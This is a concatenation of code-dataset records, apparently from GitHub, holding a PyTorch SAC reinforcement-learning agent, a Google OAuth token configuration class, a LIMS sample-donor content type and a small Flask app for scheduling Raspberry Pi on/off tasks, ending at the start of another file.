detach_encoder=False, encoder_use_mean=False\n ):\n obs = self.encoder(obs, detach=detach_encoder)\n\n # # spilt the self.trunk(obs) into 2 parts along column\n mu, log_std = self.trunk(obs).chunk(2, dim=-1)\n\n # constrain log_std inside [log_std_min, log_std_max]\n log_std = torch.tanh(log_std)\n log_std = self.log_std_min + 0.5 * (\n self.log_std_max - self.log_std_min\n ) * (log_std + 1)\n\n self.outputs['mu'] = mu\n self.outputs['std'] = log_std.exp()\n\n if compute_pi:\n std = log_std.exp()\n noise = torch.randn_like(mu)\n pi = mu + noise * std\n else:\n pi = None\n entropy = None\n\n if compute_log_pi:\n log_pi = gaussian_logprob(noise, log_std)\n else:\n log_pi = None\n\n mu, pi, log_pi = squash(mu, pi, log_pi)\n\n return mu, pi, log_pi, log_std\n\n def log(self, L, step, log_freq=LOG_FREQ):\n if step % log_freq != 0:\n return\n\n for k, v in self.outputs.items():\n L.log_histogram('train_actor/%s_hist' % k, v, step)\n\n L.log_param('train_actor/fc1', self.trunk[0], step)\n L.log_param('train_actor/fc2', self.trunk[2], step)\n L.log_param('train_actor/fc3', self.trunk[4], step)\n\n\nclass QFunction(nn.Module):\n \"\"\"MLP for q-function.\"\"\"\n\n def __init__(self, obs_dim, action_dim, hidden_dim):\n super().__init__()\n\n self.trunk = nn.Sequential(\n nn.Linear(obs_dim + action_dim, hidden_dim), nn.ReLU(),\n nn.Linear(hidden_dim, hidden_dim), nn.ReLU(),\n nn.Linear(hidden_dim, 1)\n )\n\n def forward(self, obs, action):\n assert obs.size(0) == action.size(0)\n\n obs_action = torch.cat([obs, action], dim=1)\n return self.trunk(obs_action)\n\n\nclass Critic(nn.Module):\n \"\"\"Critic network, employes two q-functions.\"\"\"\n\n def __init__(\n self, obs_shape, action_shape, hidden_dim, encoder_type,\n encoder_feature_dim, num_layers, num_filters\n ):\n super().__init__()\n\n self.encoder = make_encoder(\n encoder_type, obs_shape, encoder_feature_dim, num_layers,\n num_filters, output_logits=True\n )\n\n self.Q1 = QFunction(\n self.encoder.feature_dim, action_shape[0], hidden_dim\n )\n self.Q2 = QFunction(\n self.encoder.feature_dim, action_shape[0], hidden_dim\n )\n\n self.outputs = dict()\n self.apply(weight_init)\n\n def forward(self, obs, action, detach_encoder=False):\n # detach_encoder allows to stop gradient propogation to encoder\n obs = self.encoder(obs, detach=detach_encoder)\n\n q1 = self.Q1(obs, action)\n q2 = self.Q2(obs, action)\n\n self.outputs['q1'] = q1\n self.outputs['q2'] = q2\n\n return q1, q2\n\n def log(self, L, step, log_freq=LOG_FREQ):\n if step % log_freq != 0:\n return\n\n self.encoder.log(L, step, log_freq)\n\n for k, v in self.outputs.items():\n L.log_histogram('train_critic/%s_hist' % k, v, step)\n\n for i in range(3):\n L.log_param('train_critic/q1_fc%d' % i, self.Q1.trunk[i * 2], step)\n L.log_param('train_critic/q2_fc%d' % i, self.Q2.trunk[i * 2], step)\n\n\nclass Cody(nn.Module):\n \"\"\"\n Auxiliary task:\n encoding --> sensor_fusion --> kl --> (mi, total loss)\n\n Todolist:\n 1.obs_shape should be a list [rgb_img_shape, depth_img_shape, touch_shape].\n 2.Initialize sensor_fusion net\n \"\"\"\n\n def __init__(self, z_dim, critic, critic_target, action_shape, output_type=\"continuous\", fc_output_logits=True, kl_use_target=True):\n super(Cody, self).__init__()\n\n\n # Build online encoders\n self.rgb_img_encoder = critic.encoder\n self.rgb_img_encoder_target = critic_target.encoder\n\n self.kl_use_target = kl_use_target\n\n # action_feat_dim = 16\n # self.action_encoder = Action_encoder(action_shape[0], action_feat_dim, output_logits=True)\n #\n # self.action_encoder_target = Action_encoder(action_shape[0], action_feat_dim, output_logits=True)\n\n # MLP\n self.fc1 = Transition_model(action_shape[0], z_dim, output_feature_num=z_dim + 1, num_layers=2,\n output_logits=fc_output_logits)\n self.fc2 = Transition_model(action_shape[0], z_dim, output_feature_num=z_dim + 1, num_layers=2,\n output_logits=fc_output_logits)\n\n self.projection = nn.Sequential(nn.Linear(z_dim + 1, 1024), nn.ReLU(), nn.Linear(1024, z_dim + 1))\n self.predictor = nn.Sequential(nn.Linear(z_dim + 1, 1024), nn.ReLU(), nn.Linear(1024, z_dim))\n self.predictor_target = nn.Sequential(nn.Linear(z_dim + 1, 1024), nn.ReLU(), nn.Linear(1024, z_dim))\n\n # Initialize target encoders\n for param_rgb_encoder, param_rgb_encoder_target in zip(self.rgb_img_encoder.parameters(),\n self.rgb_img_encoder_target.parameters()):\n param_rgb_encoder_target.data.copy_(param_rgb_encoder.data)\n param_rgb_encoder_target.requires_grad = False\n # for param_action_encoder, param_action_encoder_target in zip(self.action_encoder.parameters(),\n # self.action_encoder_target.parameters()):\n # param_action_encoder_target.data.copy_(param_action_encoder.data)\n # param_action_encoder_target.requires_grad = False\n #for param_fc1, param_fc1_target in zip(self.fc1.parameters(), self.fc1_target.parameters()):\n # param_fc1_target.data.copy_(param_fc1.data)\n # param_fc1_target.requires_grad = False\n for param_predictor, param_predictor_target in zip(self.predictor.parameters(),\n self.predictor_target.parameters()):\n param_predictor_target.data.copy_(param_predictor.data)\n param_predictor_target.requires_grad = False\n\n # Parameter matrix for InfoNCE\n # self.norm_reward = nn.BatchNorm1d(1)\n self.W = nn.Parameter(torch.rand(z_dim, z_dim))\n\n self.W.requires_grad == True\n\n self.output_type = output_type\n\n self.apply(weight_init)\n\n def encode(self, obs, action, next_obs, action_condition=False):\n \"\"\"\n obs and next_obs should be lists containing multimodal sensor data\n action should be stacked and has shape [B, 3xdim]\n \"\"\"\n\n # current_step samples\n z = self.rgb_img_encoder(obs)\n\n # next_step samples\n with torch.no_grad():\n z_next = self.rgb_img_encoder_target(next_obs)\n\n #action_embed = self.action_encoder(action)\n [mu, logstd, z_cat] = self.fc1(z, action, condition=action_condition)\n\n return z_cat, z_next, [mu, logstd]\n\n def reparameterize(self, mu, logstd, output_mean=False):\n std = torch.exp(logstd)\n eps = torch.randn_like(std)\n\n if output_mean:\n output = mu\n else:\n output = mu + eps * std\n return output\n\n def kl_divergence(self, mu_p, logstd_p, obs_old, action_old):\n \"\"\"\n compute the kl divergence between p(z/s,a) and q(z)\n \"\"\"\n # solution 1\n # p = torch.distributions.normal.Normal(loc=mu, scale=torch.exp(logstd))\n # q = torch.distributions.normal.Normal(loc=torch.zeros_like(mu), scale=torch.ones_like(logstd))\n # kl = torch.distributions.kl_divergence(p, q)\n\n # solution 1\n # kl = torch.mean(-0.5 * torch.sum(1 + 2 * logstd - mu ** 2 - (torch.exp(logstd)) ** 2, dim=1), dim=0)\n\n #with torch.no_grad():\n if self.kl_use_target:\n z_old_target = self.rgb_img_encoder_target(obs_old)\n #action_embed_target = self.action_encoder_target(action_old)\n [mu_q, logstd_q, z_pred] = self.fc2(z_old_target.detach(), action_old, condition=True)\n # else:\n # z_old_target = self.rgb_img_encoder(obs_old)\n # action_embed_target = self.action_encoder_target(action_old)\n # [mu_q, logstd_q, z_pred] = self.fc1(z_old_target, action_old, condition=True)\n kl = logstd_q - logstd_p + (torch.exp(logstd_p) ** 2 + (mu_p - mu_q) ** 2) / (\n 2 * torch.exp(logstd_q) ** 2) - 0.5\n kl = kl.sum(dim=-1).mean()\n return kl\n\n def compute_logits(self, z_a, z_pos, reward):\n z_a = self.projection(z_a)\n z_a = self.predictor(z_a)\n z_pos_rewards = torch.cat([z_pos, reward], dim=1)\n with torch.no_grad():\n z_pos = self.predictor_target(z_pos_rewards)\n\n Wz = torch.matmul(self.W, z_pos.T) # (z_dim,B)\n logits = torch.matmul(z_a, Wz) # (B,B)\n logits = logits - torch.max(logits, 1)[0][:, None]\n\n return logits\n\n\nclass CodySacAgent(object):\n \"\"\"Cody representation learning with SAC.\"\"\"\n def __init__(\n self,\n obs_shape,\n action_shape,\n device,\n action_repeat,\n hidden_dim=256,\n discount=0.99,\n init_temperature=0.01,\n alpha_lr=1e-3,\n alpha_beta=0.9,\n actor_lr=1e-3,\n actor_beta=0.9,\n actor_log_std_min=-10,\n actor_log_std_max=2,\n actor_update_freq=2,\n critic_lr=1e-3,\n critic_beta=0.9,\n critic_tau=0.005,\n critic_target_update_freq=2,\n encoder_type='pixel',\n encoder_feature_dim=50,\n encoder_lr=1e-3,\n encoder_tau=0.005,\n num_layers=4,\n num_filters=32,\n cpc_update_freq=1,\n log_interval=100,\n detach_encoder=False,\n cody_latent_dim=128,\n cody_lr=1e-7,\n omega_cody_loss=0.1,\n beta_cody=1,\n time_step=3,\n intrinsic_reward_scale=0.1,\n use_external_reward=True,\n kl_use_target=True,\n fc_output_logits=True,\n ):\n self.device = device\n self.discount = discount\n self.critic_tau = critic_tau\n self.encoder_tau = encoder_tau\n self.actor_update_freq = actor_update_freq\n self.critic_target_update_freq = critic_target_update_freq\n self.cpc_update_freq = cpc_update_freq\n self.log_interval = log_interval\n self.image_size = obs_shape[-1]\n self.cody_latent_dim = cody_latent_dim\n self.detach_encoder = detach_encoder\n self.encoder_type = encoder_type\n self.omega_cody_loss = omega_cody_loss\n self.beta_cody = beta_cody\n self.time_step = time_step\n self.intrinsic_reward_scale = intrinsic_reward_scale\n self.use_external_reward = use_external_reward\n self.kl_use_target = kl_use_target\n self.fc_output_logits = fc_output_logits\n self.action_repeat = action_repeat\n\n self.transition_model_target_update_freq = 2\n self.transition_model_tau = 0.005\n ###\n self._action_frames = deque([], maxlen=3)\n\n self.critic = Critic(\n obs_shape, action_shape, hidden_dim, encoder_type,\n encoder_feature_dim, num_layers, num_filters\n ).to(device)\n\n self.actor = Actor(\n obs_shape, action_shape, hidden_dim, encoder_type,\n encoder_feature_dim, actor_log_std_min, actor_log_std_max,\n num_layers, num_filters\n ).to(device)\n\n self.critic_target = Critic(\n obs_shape, action_shape, hidden_dim, encoder_type,\n encoder_feature_dim, num_layers, num_filters\n ).to(device)\n\n self.critic_target.load_state_dict(self.critic.state_dict())\n for param_encoder, param_encoder_target in zip(self.critic.encoder.parameters(),\n self.critic_target.encoder.parameters()):\n param_encoder_target.data.copy_(param_encoder.data) # initialize\n param_encoder_target.requires_grad = False\n\n # tie encoders between actor and critic, and Cody and critic\n self.actor.encoder.copy_conv_weights_from(self.critic.encoder)\n\n self.log_alpha = torch.tensor(np.log(init_temperature)).to(device)\n self.log_alpha.requires_grad = True\n # set target entropy to -|A|\n self.target_entropy = -np.prod(action_shape)\n\n # optimizers\n self.actor_optimizer = torch.optim.Adam(\n self.actor.parameters(), lr=actor_lr, betas=(actor_beta, 0.999)\n )\n\n self.critic_optimizer = torch.optim.Adam(\n self.critic.parameters(), lr=critic_lr, betas=(critic_beta, 0.999)\n )\n\n self.log_alpha_optimizer = torch.optim.Adam(\n [self.log_alpha], lr=alpha_lr, betas=(alpha_beta, 0.999)\n )\n\n if self.encoder_type == 'pixel':\n # create Cody encoder (the 128 batch size is probably unnecessary)\n self.cody = Cody(encoder_feature_dim, self.critic, self.critic_target, action_shape,\n output_type='continuous', fc_output_logits=fc_output_logits, kl_use_target=kl_use_target).to(self.device)\n\n # optimizer for critic encoder for reconstruction loss\n self.encoder_optimizer = torch.optim.Adam(\n self.critic.encoder.parameters(), lr=encoder_lr\n )\n # self.action_encoder_optimizer = torch.optim.Adam(\n # self.action_encoder.parameters(), lr=encoder_lr\n # )\n # self.transition_model_optimizer = torch.optim.Adam(\n # self.transition_model.parameters(), lr=encoder_lr\n # )\n\n self.cpc_optimizer = torch.optim.Adam(\n self.cody.parameters(), lr=cody_lr\n )\n self.cross_entropy_loss = nn.CrossEntropyLoss()\n self.cross_entropy_loss_no_reduction = nn.CrossEntropyLoss(reduction='none')\n self.mse_loss = nn.MSELoss()\n\n self.train()\n self.critic_target.train()\n\n def train(self, training=True):\n self.training = training\n self.actor.train(training)\n self.critic.train(training)\n if self.encoder_type == 'pixel':\n self.cody.train(training)\n\n @property\n def alpha(self):\n return self.log_alpha.exp()\n\n def select_action(self, obs):\n with torch.no_grad():\n obs = torch.FloatTensor(obs).to(self.device)\n obs = obs.unsqueeze(0)\n mu, _, _, _ = self.actor(\n obs, compute_pi=False, compute_log_pi=False, encoder_use_mean=True\n )\n return mu.cpu().data.numpy().flatten()\n\n def sample_action(self, obs):\n if obs.shape[-1] != self.image_size:\n obs = utils.center_crop_image(obs, self.image_size)\n\n with torch.no_grad():\n obs = torch.FloatTensor(obs).to(self.device)\n obs = obs.unsqueeze(0)\n mu, pi, _, _ = self.actor(obs, compute_log_pi=False)\n return pi.cpu().data.numpy().flatten()\n\n def update_critic(self, obs, action, reward, next_obs, not_done, L, step):\n with torch.no_grad():\n # log_pi is the entropy of current policy pi\n _, policy_action, log_pi, _ = self.actor(next_obs)\n # computer Q target with clipped double Q trick\n target_Q1, target_Q2 = self.critic_target(next_obs, policy_action)\n target_V = torch.min(target_Q1,\n target_Q2) - self.alpha.detach() * log_pi\n target_Q = reward + (not_done * self.discount * target_V)\n\n # get current Q estimates,\n # the artical did not detach encoder, so the encoder network is updated by using the critic loss\n current_Q1, current_Q2 = self.critic(obs, action, detach_encoder=self.detach_encoder)\n # I change the flag detach_encoder=True\n # current_Q1, current_Q2 = self.critic(obs, action, detach_encoder=True)\n critic_loss = F.mse_loss(current_Q1,\n target_Q) + F.mse_loss(current_Q2, target_Q)\n\n ###visualization\n # torchviz.make_dot(critic_loss, params=dict(list(self.critic.named_parameters()))).render(\"critic_pytorchviz\", format=\"png\")\n\n if step % self.log_interval == 0:\n L.log('train_critic/loss', critic_loss, step)\n\n # Optimize the critic\n self.critic_optimizer.zero_grad()\n critic_loss.backward()\n self.critic_optimizer.step()\n\n self.critic.log(L, step)\n\n def update_actor_and_alpha(self, obs, L, step):\n # detach encoder, so we don't update it with the actor loss\n _, pi, log_pi, log_std = self.actor(obs, detach_encoder=True)\n actor_Q1, actor_Q2 = self.critic(obs, pi, detach_encoder=True)\n\n actor_Q = torch.min(actor_Q1, actor_Q2)\n actor_loss = (self.alpha.detach() * log_pi - actor_Q).mean()\n\n if step % self.log_interval == 0:\n L.log('train_actor/loss', actor_loss, step)\n L.log('train_actor/target_entropy', self.target_entropy, step)\n entropy = 0.5 * log_std.shape[1] * \\\n (1.0 + np.log(2 * np.pi)) + log_std.sum(dim=-1)\n if step % self.log_interval == 0:\n L.log('train_actor/entropy', entropy.mean(), step)\n\n # optimize the actor\n self.actor_optimizer.zero_grad()\n actor_loss.backward()\n self.actor_optimizer.step()\n\n self.actor.log(L, step)\n\n self.log_alpha_optimizer.zero_grad()\n alpha_loss = (self.alpha *\n (-log_pi - self.target_entropy).detach()).mean()\n if step % self.log_interval == 0:\n L.log('train_alpha/loss', alpha_loss, step)\n L.log('train_alpha/value', self.alpha, step)\n alpha_loss.backward()\n self.log_alpha_optimizer.step()\n\n\n def update_cpc(self, obs_old, action_old, obs, action, next_obs, reward, L, step):\n \"\"\"\n obs should be a list containing multimodal sensor data.\n action should be stacked and has shape [B, 3xdim].\n \"\"\"\n [z, z_next, [mu, logstd]] = self.cody.encode(obs, action, next_obs, action_condition=True)\n kl = self.cody.kl_divergence(mu, logstd, obs_old, action_old)\n\n # normalize the reward before feeding it into the net\n reward = reward / self.action_repeat\n logits = self.cody.compute_logits(z, z_next, reward)\n labels = torch.arange(logits.shape[0]).long().to(self.device)\n mi_loss = self.cross_entropy_loss(logits, labels)\n\n loss = mi_loss + self.omega_cody_loss * kl\n\n ###visualization\n # torchviz.make_dot(loss, params=dict(list(self.cody.named_parameters()))).render(\"cody_pytorchviz\", format=\"png\")\n\n ####whether need to update encoder parameters\n self.encoder_optimizer.zero_grad()\n # self.action_encoder_optimizer.zero_grad()\n # self.transition_model_optimizer.zero_grad()\n self.cpc_optimizer.zero_grad()\n loss.backward()\n\n # self.action_encoder_optimizer.step()\n # self.transition_model_optimizer.step()\n\n # gradient clip\n # clip_threshold=0.1\n # torch.nn.utils.clip_grad_norm_(self.cody.parameters(), clip_threshold)\n\n self.encoder_optimizer.step()\n self.cpc_optimizer.step()\n if step % self.log_interval == 0:\n L.log('train/cody_loss', loss, step)\n L.log('train/mi', -1.0 * mi_loss, step)\n L.log('train/kl', kl, step)\n\n # data6, grad6 = check_back_prop(self.cody)\n\n def update(self, replay_buffer, L, step):\n if self.encoder_type == 'pixel':\n \"\"\"\n obs should be a list containing multimodal sensor data\n action should be stacked and has shape [B, 3xdim]\n \"\"\"\n obs_chunk, action_chunk, reward_chunk, next_obs_chunk, not_done_chunk = replay_buffer.sample_consecutive(\n self.time_step)\n\n \"set timestep\"\n obs_old, obs = obs_chunk\n action_old, action = action_chunk\n _, reward = reward_chunk\n _, next_obs = next_obs_chunk\n _, not_done = not_done_chunk\n\n\n else:\n obs, action, reward, next_obs, not_done = replay_buffer.sample_proprio()\n\n if step % self.log_interval == 0:\n L.log('train/batch_reward', reward.mean(), step)\n\n self.update_critic(obs, action, reward, next_obs, not_done, L, step)\n\n if step % self.actor_update_freq == 0:\n self.update_actor_and_alpha(obs, L, step)\n\n if step % self.critic_target_update_freq == 0:\n utils.soft_update_params(\n self.critic.Q1, self.critic_target.Q1, self.critic_tau\n )\n utils.soft_update_params(\n self.critic.Q2, self.critic_target.Q2, self.critic_tau\n )\n\n utils.soft_update_params(\n self.critic.encoder, self.critic_target.encoder,\n self.encoder_tau\n )\n\n #utils.soft_update_params(\n # self.cody.fc1, self.cody.fc1_target,\n # self.encoder_tau\n #)\n\n utils.soft_update_params(\n self.cody.predictor, self.cody.predictor_target,\n self.encoder_tau\n )\n\n if step % self.cpc_update_freq == 0 and self.encoder_type == 'pixel':\n self.update_cpc(obs_old, action_old, obs, action, next_obs, reward, L, step)\n\n def save(self, model_dir, step):\n torch.save(\n self.actor.state_dict(), '%s/actor_%s.pt' % (model_dir, step)\n )\n torch.save(\n self.critic.state_dict(), '%s/critic_%s.pt' % (model_dir, step)\n )\n\n def save_cody(self, model_dir, step):\n torch.save(\n self.cody.state_dict(), '%s/cody_%s.pt' % (model_dir, step)\n )\n torch.save(self.critic.encoder.state_dict(), '%s/critic_encoder_%s.pt' % (model_dir, step))\n torch.save(self.critic_target.encoder.state_dict(), '%s/critic_target_encoder_%s.pt' % (model_dir, step))\n torch.save(self.actor.encoder.state_dict(), '%s/actor_encoder_%s.pt' % (model_dir, step))\n\n def load(self, model_dir, step):\n self.actor.load_state_dict(\n torch.load('%s/actor_%s.pt' % (model_dir, step))\n )\n self.critic.load_state_dict(\n torch.load('%s/critic_%s.pt' % (model_dir, step))\n )\n\n def load_cody(self, model_dir, step):\n self.critic.encoder.load_state_dict(torch.load('%s/critic_encoder_%s.pt' % (model_dir, step)))\n self.critic_target.encoder.load_state_dict(torch.load('%s/critic_target_encoder_%s.pt' % (model_dir, step)))\n self.actor.encoder.load_state_dict(torch.load('%s/actor_encoder_%s.pt' % (model_dir, step)))\n self.cody.load_state_dict(torch.load('%s/cody_%s.pt' % (model_dir, step)))\n\n def load_init(self):\n self.critic_target.load_state_dict(self.critic.state_dict())\n # critic_target.encoder keep the same parameters with critic.encoder\n for param_encoder, param_encoder_target in zip(self.critic.encoder.parameters(),\n self.critic_target.encoder.parameters()):\n param_encoder_target.data.copy_(param_encoder.data) # initialize\n param_encoder_target.requires_grad = False\n param_encoder.requires_grad = False\n\n # tie encoders between actor and critic, and Cody and critic\n self.actor.encoder.copy_conv_weights_from(self.critic.encoder)\n\n # set requires_grad=False\n for param_encoder in self.actor.encoder.parameters():\n param_encoder.requires_grad = False\n for param in self.cody.parameters():\n param.requires_grad = False\n\n\ndef check_back_prop(model):\n list_grad = []\n list_data = []\n for name, param in model.named_parameters():\n if param.grad == None:\n print(name, torch.mean(param.data).cpu().numpy())\n list_data.append(torch.mean(param.data).cpu().numpy())\n else:\n print(name, torch.mean(param.data).cpu().numpy(), torch.mean(param.grad).cpu().numpy())\n list_data.append(torch.mean(param.data).cpu().numpy())\n list_grad.append(torch.mean(param.grad).cpu().numpy())\n return list_data, list_grad\n\n","repo_name":"BangYou01/DY2P","sub_path":"cody_sac.py","file_name":"cody_sac.py","file_ext":"py","file_size_in_byte":26835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33884814537","text":"# Author: Scott Philip (sp@scottphilip.com)\n# Version: 0.7 (30 July 2017)\n# Source: https://github.com/scottphilip/google-token/\n# Licence: GNU GENERAL PUBLIC LICENSE (Version 3, 29 June 2007)\n\nimport json\nfrom os.path import expanduser, join, isdir\nfrom os import makedirs\nfrom tempfile import gettempdir\nfrom datetime import datetime\n\n\nSECURE_VARIABLES = [\"account_password\", \"account_otp_secret\"]\n\n\nclass GoogleTokenConfiguration(object):\n account_email = None\n account_password = None\n account_otp_secret = None\n cookie_storage_path = None\n oauth_client_id = None\n oauth_redirect_uri = None\n oauth_scope = None\n logger = None\n image_path = None\n execute_script = None\n phantomjs_path = \"phantomjs\"\n phantomjs_config_useragent = \"phantomjs.page.settings.userAgent\"\n phantomjs_log_path = None\n cookies_ignore_discard = False\n cookies_store_plain = False\n url_accounts = \"https://accounts.google.com\"\n url_my_account = \"https://myaccount.google.com\"\n url_service_login = \"https://accounts.google.com/ServiceLogin\"\n url_accounts_no_form = \"https://accounts.google.com/x\"\n timeout_seconds = 30\n oauth2_protocol = \"https\"\n oauth2_domain = \"accounts.google.com\"\n oauth2_path = \"/o/oauth2/v2/auth\"\n user_agent = \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0\"\n default_headers = None\n oauth2_data = None\n\n def __init__(self, **kwargs):\n for key, value in kwargs.items():\n if hasattr(self, key):\n setattr(self, key, value)\n continue\n raise Exception(\"Unknown Argument: {0}\".format(key))\n\n argument_missing = []\n if self.account_email is None:\n argument_missing.append(\"account_email\")\n if self.oauth_client_id is None:\n argument_missing.append(\"oauth_client_id\")\n if self.oauth_redirect_uri is None:\n argument_missing.append(\"oauth_redirect_uri\")\n if self.oauth_scope is None:\n argument_missing.append(\"oauth_scope\")\n if len(argument_missing) > 0:\n raise Exception(\"REQUIRED_ARGUMENT\", str(argument_missing))\n\n if not isdir(join(gettempdir(), \"GoogleToken\", self.account_email)):\n makedirs(join(gettempdir(), \"GoogleToken\", self.account_email))\n\n self.cookie_storage_path = join(expanduser(\"~\"), \"{0}.tok\".format(self.account_email)) \\\n if self.cookie_storage_path is None else self.cookie_storage_path\n\n self.image_path = join(gettempdir(), \"GoogleToken\", self.account_email, datetime.now()\n .strftime(\"%Y-%m-%d_%H-%M-%S\")) if \\\n self.image_path is None else self.image_path\n\n self.phantomjs_log_path = join(gettempdir(), \"GoogleToken\", self.account_email, \"phantomjs.log\") if \\\n self.phantomjs_log_path is None else self.phantomjs_log_path\n\n self.default_headers = {\"User-Agent\": self.user_agent} if self.default_headers is \\\n None else self.default_headers\n\n self.oauth2_data = {\"response_type\": \"token\",\n \"client_id\": \"oauth_client_id\",\n \"redirect_uri\": \"oauth_redirect_uri\",\n \"scope\": \"oauth_scope\"}\n\n def json(self):\n result = {}\n for attribute in self.__dict__:\n try:\n if attribute not in SECURE_VARIABLES:\n json.dumps(getattr(self, attribute))\n result[attribute] = getattr(self, attribute)\n else:\n result[attribute] = \"*\"*10\n except Exception:\n ignore = True\n return json.dumps(result)\n","repo_name":"scottphilip/google-token","sub_path":"GoogleToken/Configuration.py","file_name":"Configuration.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"1397601238","text":"from Products.Archetypes.references import HoldingReference\nfrom AccessControl import ClassSecurityInfo\nfrom Products.Archetypes.public import *\nfrom Products.CMFCore import permissions\nfrom Products.CMFPlone.interfaces import IConstrainTypes\nfrom zope.interface import implements\n\nfrom bika.lims.content.bikaschema import BikaSchema\nfrom baobab.lims import bikaMessageFactory as _\nfrom baobab.lims import config\nfrom baobab.lims.interfaces import ISampleDonor\nfrom bika.lims.browser.widgets import ReferenceWidget as bika_ReferenceWidget\nfrom Products.CMFPlone.utils import safe_unicode\n\n\nSampleDonorID = StringField(\n 'SampleDonorID',\n required=1,\n searchable=True,\n read_permission=permissions.View,\n write_permission=permissions.ModifyPortalContent,\n widget=StringWidget(\n label=_(\"Sample Donor ID\"),\n description=_(\"The unique ID code assigned to the sample donor.\"),\n visible={'edit': 'visible', 'view': 'visible'},\n )\n )\n\nSelectedProject = ReferenceField(\n 'SelectedProject',\n allowed_types=('Project',),\n relationship='SampleDonorProjects',\n referenceClass=HoldingReference,\n widget=bika_ReferenceWidget(\n label=_(\"Select Project\"),\n visible={'edit': 'visible', 'view': 'visible'},\n size=30,\n showOn=True,\n description=_(\"Select the project of the sample donor.\"),\n )\n)\n\nInfoLink = StringField(\n 'InfoLink',\n required=0,\n searchable=True,\n read_permission=permissions.View,\n write_permission=permissions.ModifyPortalContent,\n widget=StringWidget(\n label=_(\"Information Link\"),\n description=_(\"The link to information for this sample donor.\"),\n visible={'edit': 'visible', 'view': 'visible'},\n )\n )\n\nSex = StringField(\n 'Sex',\n read_permission=permissions.View,\n write_permission=permissions.ModifyPortalContent,\n vocabulary='getSexes',\n widget=SelectionWidget(\n format='select',\n label=_(\"Sex\"),\n description=_(\"Select the sex of the sample donor\"),\n visible={'edit': 'visible', 'view': 'visible'},\n render_own_label=True,\n )\n )\n\nAge = FixedPointField(\n 'Age',\n required=0,\n default=\"0.00\",\n widget=DecimalWidget(\n label=_(\"Age\"),\n size=15,\n description=_(\"The age of the sample donor.\"),\n visible={'edit': 'visible', 'view': 'visible'}\n )\n )\n\nAgeUnit = StringField(\n 'AgeUnit',\n mode=\"rw\",\n read_permission=permissions.View,\n write_permission=permissions.ModifyPortalContent,\n vocabulary='getAgeUnits',\n widget=SelectionWidget(\n format='select',\n label=_(\"Age Unit\"),\n description=_(\"Whether the age is in years, months, weeks, days etc\"),\n visible={'edit': 'visible', 'view': 'visible'},\n render_own_label=True,\n )\n )\n\n\nschema = BikaSchema.copy() + Schema((\n SampleDonorID,\n SelectedProject,\n InfoLink,\n Sex,\n Age,\n AgeUnit\n))\nschema['title'].widget.visible = {'view': 'invisible', 'edit': 'invisible'}\nschema['description'].widget.visible = {'view': 'invisible', 'edit': 'invisible'}\n\n\nclass SampleDonor(BaseContent):\n security = ClassSecurityInfo()\n implements(ISampleDonor, IConstrainTypes)\n displayContentsTab = False\n schema = schema\n _at_rename_after_creation = True\n\n def _renameAfterCreation(self, check_auto_id=False):\n from bika.lims.idserver import renameAfterCreation\n renameAfterCreation(self)\n\n def Title(self):\n return safe_unicode(self.getField('SampleDonorID').get(self)).encode('utf-8')\n\n def Description(self):\n return \"Gender %s : Age %s %s\" % (self.getSex(), self.getAge(), self.getAgeUnit())\n\n def getSexes(self):\n return ['Male', 'Female', 'Unknown', 'Undifferentiated']\n\n def getAgeUnits(self):\n return ['Years', 'Months', 'Weeks', 'Days', 'Hours', 'Minutes']\n\nregisterType(SampleDonor, config.PROJECTNAME)","repo_name":"BaobabLims/baobab.lims","sub_path":"baobab/lims/content/donor.py","file_name":"donor.py","file_ext":"py","file_size_in_byte":4142,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"37"} +{"seq_id":"35818803577","text":"from flask import render_template, redirect, flash, request, Response\nimport datetime\nfrom app import app, db, models, logger\nfrom PiController import *\nfrom RemoteDAL import *\nfrom .forms import AddTaskForm\nfrom .auth import User\nfrom flask.ext.login import login_required, login_user, logout_user, current_user\nimport Cookie\n\n@app.route('/')\n@app.route('/index')\ndef index():\n\tform = AddTaskForm()\n\treturn render_template(\"index.html\", tasks=GetAllTasks(), form=form)\n\n#@login_required\n#@app.route('/test')\n#def protected():\n#\tif current_user.is_authenticated():\n# \t\treturn Response(response=\"Hello Auth World!\", status=200)\n# \telse:\n# \t\treturn Response(response=\"Non_Auth World!\", status=200)\n\n\n#@login_required\n#@app.route('/temp')\n#def logout():\n\t#logout_user()\n#\treturn redirect(\"/index\", code=302) \n\n@app.route('/On')\ndef immediateActionOn():\n\tPiOn()\n\tlogger.error('Immediate Turn On')\n\treturn redirect(\"/index\",code=302)\n\n@app.route('/Off')\ndef immediateActionOff():\n\tPiOff()\n\tlogger.error('Immediate Turn Off')\n\treturn redirect(\"/index\", code=302)\n\n@app.route('/AddTask', methods=['GET', 'POST'])\ndef addTaskToDB():\n\tform = AddTaskForm()\n\n\tif form.validate_on_submit():\n\t\tdt = GetDateTime(request.form['date'], form.hour.data)\n\n\t\tif dt is None:\n\t\t\treturn render_template(\"error.html\")\n\t\telse:\t\t\t\n\t\t\tt = models.Task(action=form.action.data, time=dt,hasRan=False)\n\t\t\tAddTask(t)\n\t\t\treturn redirect(\"/index\", code=302)\n\telse:\n\t\treturn render_template(\"error.hmtl\")\n\n@app.route('/RemoveTask')\ndef removeTaskFromDB():\n\ttaskId = request.args.get('tid')\n\tDeleteTask(taskId)\n\treturn redirect(\"/index\", code=302)\n\n#@app.route('/login', methods=['Get', 'Post'])\n#def displayLogin():\n\n#\tif len(request.form) > 0:\n#\t\tusr = str(request.form['user_name'])\n#\t\tpwd = str(request.form['password'])\n#\t\tif usr == \"ilourence\" and pwd == \"football\":\n#\t\t\tc=Cookie.SimpleCookie()\n\t\t\t# assign a value\n#\t\t\tc['raspberrypi']='Hello world'\n\t\t\t# set the xpires time\n#\t\t\tc['raspberrypi']['expires']=1*1*3*60*60\n\t\t\t\n\n#\t\t\treturn redirect(\"/index\",code=302)\n#\treturn render_template(\"login.html\")\n\n\n\n\n\n","repo_name":"BL323/RemoteIR","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37960516929","text":"import os\nimport shutil\nfrom mypy import api\nfrom argparse import ArgumentParser\nimport 